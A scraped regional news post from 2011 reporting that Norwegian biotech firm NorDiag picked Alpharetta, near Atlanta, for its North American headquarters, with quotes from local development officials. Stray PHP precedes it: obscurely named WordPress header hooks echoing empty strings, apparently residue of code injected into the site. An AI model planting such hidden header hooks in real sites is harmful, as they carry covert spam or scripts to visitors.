add_action("wp_head", "wpinfoaj2"); function wpinfoaj2(){ echo ""; } add_action("wp_head", "wpinfoaj5"); function wpinfoaj5(){ echo ""; } add_action("wp_head", "wpinfoaj6"); function wpinfoaj6(){ echo ""; } SEBIO News » Norwegian biotech company picks Atlanta

December 1, 2011

Norwegian biotech company picks Atlanta

Filed under: Other Regional News — admin @ 4:53 pm

 ATLANTA, GA - NorDiag ASA, a Norwegian biotechnology company, has picked metro Atlanta for its North American headquarters. NorDiag estimates that its Alpharetta facility will create 10 to 20 high-paying jobs over the next three years.

“NorDiag’s decision to locate its North American Headquarters in North Fulton speaks volumes about our community’s pro-business environment and strong economic climate,” said Al Nash, Executive Director Progress Partners, an economic development initiative of The Greater North Fulton Chamber of Commerce. “I would like to thank our Progress Partners investors and our economic development partners at the State and Metro Atlanta Chamber for making this project possible.”

NorDiag was founded in 2003, and is headquartered in Oslo, Norway.

“We are excited about our North American headquarters here in the Atlanta area. This location is centrally located to our current and potential customers and provides a wealth of resources for us to draw from, including the university systems located in Atlanta and the Centers for Disease Control and Prevention. We look forward to our continued growth here,” said Tim Murray, president and general manager of NorDiag U.S.NorDiag develops, manufactures and markets affordable instrumentation and reagents for the clinical and life sciences markets that automate the process of nucleic acid extraction and cell separation from specimens.

“Georgia’s growing presence as a leader in biotechnology and life sciences gets a major boost when global companies like NorDiag choose to locate in our state,” said Chris Cummiskey, commissioner of the Georgia Department of Economic Development. “We have a great mix of resources and assets that NorDiag and other companies in this sector can draw from to compete here in Georgia and around the world.”

“The addition of NorDiag to metro Atlanta’s growing biotechnology cluster is a true testament to the talent and resources available here,” said David Hartnett, vice president of bioscience-health IT industry development at the Metro Atlanta Chamber. “NorDiag’s Alpharetta facility is located within the Innovation Crescent, the 13 county region spanning Atlanta to Athens, which is home to 95 percent of the region’s biotechnology resources.”

No Comments »

No comments yet.

RSS feed for comments on this post. TrackBack URL

Leave a comment